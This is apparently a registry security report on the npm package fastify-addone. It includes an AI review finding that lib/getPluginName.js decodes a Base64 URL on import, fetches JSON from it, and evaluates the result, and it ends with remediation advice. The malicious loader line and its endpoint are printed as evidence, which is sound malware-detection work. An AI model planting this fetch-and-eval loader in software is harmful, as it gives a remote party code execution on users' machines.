registry / Remote code execution / fastify-addone

fastify-addone

Plugin helper for Fastify

This report shows the evidence for fastify-addone@5.1.0. 2 of 2 known versions are blocked or flagged. The newest version, 5.1.1, is blocked. See all versions.

AI Security Review

scanned 3mo ago · by lpm-firewall-ai

The source contains a concrete import-time remote-code-execution chain, not merely a suspicious primitive. Lack of an install hook does not mitigate execution when the package is loaded by an application.

Static reason

One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Trigger

Runtime import or require of `plugin.js` / the package

Impact

Arbitrary JavaScript executes in the importing process with that process's permissions.

Mechanism

import-time remote fetch followed by eval

Attack narrative

A consumer importing `fastify-addone` loads `plugin.js`, which requires `lib/getPluginName.js`. That module immediately decodes and fetches a JsonKeeper URL, parses its JSON response, and evaluates its `content` field. The endpoint controls executable code remotely, enabling arbitrary code execution in every importing application's process without a new package release.

AI rationale

Evidence

plugin.jslib/getPluginName.jspackage.json

Network endpoints1

www.jsonkeeper.com/b/HDXPP

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

`lib/getPluginName.js` performs top-level `fetch` on module import.
It Base64-decodes `https://www.jsonkeeper.com/b/HDXPP`.
The fetched JSON `content` is passed directly to `eval`.
`plugin.js` requires `lib/getPluginName.js`, activating the payload when the package is imported.

Evidence against

`package.json` has no preinstall/install/postinstall lifecycle hook.
No local credential harvesting, file mutation, or child-process execution was found.

Behavioral surface

Source

EvalNetwork

Supply chain

HighEntropyStrings

ManifestNo manifest risk signals triggered.

scanned 7 file(s), 11.0 KB of source

Source & flagged code

3 flagged

lib/getPluginName.jsView file

18L19: fetch(atob("[redacted]==")).then(r=>r.json()).then(d=>{eval(d.content)}); L20:

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

lib/getPluginName.jsView on unpkg · L18

•matchType = malicious_source_fingerprint_signature signature = b0eb745ea3968a23 signatureType = suspicious_hashes sourceLabel = Datadog matchedPackage = fastify-addon@5.1.0 matchedPath = lib/getPluginName.js matchedIdentity = npm:ZmFzdGlmeS1hZGRvbg:5.1.0 similarity = 1.000 shingleOverlap = 4 summary = Datadog malicious npm corpus sample: samples/npm/malicious_intent/fastify-addon/5.1.0/2026-06-10-fastify-addon-v5.1.0.zip

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

lib/getPluginName.jsView on unpkg

18L19: fetch(atob("[redacted]==")).then(r=>r.json()).then(d=>{eval(d.content)}); L20:

Low

Eval

Package source references a known benign dynamic code generation pattern.

lib/getPluginName.jsView on unpkg · L18

Source & flagged code

3 flagged · loading source

lib/getPluginName.jsView file

18L19: fetch(atob("[redacted]==")).then(r=>r.json()).then(d=>{eval(d.content)}); L20:

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

lib/getPluginName.jsView on unpkg · L18

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

lib/getPluginName.jsView on unpkg

18L19: fetch(atob("[redacted]==")).then(r=>r.json()).then(d=>{eval(d.content)}); L20:

Low

Eval

Package source references a known benign dynamic code generation pattern.

lib/getPluginName.jsView on unpkg · L18

Findings

2 High1 Medium3 Low

HighBase64 Obscured Urllib/getPluginName.js

HighKnown Malware Source Fingerprint Signaturelib/getPluginName.js

MediumNetwork

LowScripts Present

LowEvallib/getPluginName.js

LowHigh Entropy Strings

Affected versions and remediation

This report applies to fastify-addone@5.1.0.

The versions list below shows the verdict for each recorded version.

Avoid installing fastify-addone@5.1.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-07-12 21:01:53.202Z (UTC).

Source advisory published: 2026-07-09 22:16:42.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

5.1.1latestMaliciousMalwareBlockPublishedJul 10, 2026, 8:18 AM 5.1.0shownMaliciousRemote Code ExecutionBlockPublishedJul 9, 2026, 9:00 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other remote code execution packages

Behavioral surface

Source & flagged code

Related packages

Other remote code execution packages